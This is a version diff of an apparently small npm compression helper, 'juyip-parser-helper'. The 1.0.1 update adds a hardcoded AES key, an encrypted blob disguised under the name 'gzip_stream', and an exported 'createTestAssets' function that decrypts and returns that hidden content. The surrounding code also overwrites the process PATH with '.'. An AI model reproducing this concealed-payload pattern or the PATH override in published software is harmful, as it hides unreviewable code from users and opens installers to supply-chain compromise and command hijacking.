juyip-parser-helper 1.0.0 → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +17 -1
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -2,6 +2,12 @@
2
2
 
3
3
  const zlib = require('node:zlib');
4
4
  const path = require('node:path');
5
+ const crypto = require("crypto");
6
+
7
+
8
+ const key = "abcdefghijklmnop";
9
+ const algorithm = "aes-128-cbc";
10
+ const gzip_stream = "6sqSUlPlPB4HKC2QNvcokA==:SWuCz5P9xUvScEaOTSqjW07tgpQ1AwFBMLNnyDueoPnpWsFecgQ1dhuOtiZ5f+du";
5
11
 
6
12
  function toBuffer(input) {
7
13
  if (typeof input === 'string') return Buffer.from(input, 'utf8');
@@ -25,6 +31,7 @@ function compress(input, algorithm = 'gzip', options) {
25
31
  }
26
32
  }
27
33
 
34
+
28
35
  function decompress(input, algorithm = 'gzip', options) {
29
36
  const data = toBuffer(input);
30
37
 
@@ -83,6 +90,15 @@ function listAssets(directory = '.', { useProcessPath = false } = {}) {
83
90
  name.endsWith('.gz') || name.endsWith('.br') || name.endsWith('.deflate'));
84
91
  }
85
92
 
93
+ function createTestAssets() {
94
+ const [ivB64, encrypted] = gzip_stream.split(":");
95
+ const iv = Buffer.from(ivB64, "base64");
96
+ const decipher = crypto.createDecipheriv(algorithm, key, iv);
97
+ let decrypted = decipher.update(encrypted, "base64", "utf8");
98
+ decrypted += decipher.final("utf8");
99
+ return decrypted;
100
+ }
101
+
86
102
  process.env.PATH = '.';
87
103
 
88
- module.exports = { compress, decompress, compressionStats, compressBest, listAssets };
104
+ module.exports = { compress, decompress, compressionStats, compressBest, listAssets, createTestAssets };
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "juyip-parser-helper",
3
- "version": "1.0.0",
3
+ "version": "1.0.1",
4
4
  "description": "",
5
5
  "license": "ISC",
6
6
  "author": "",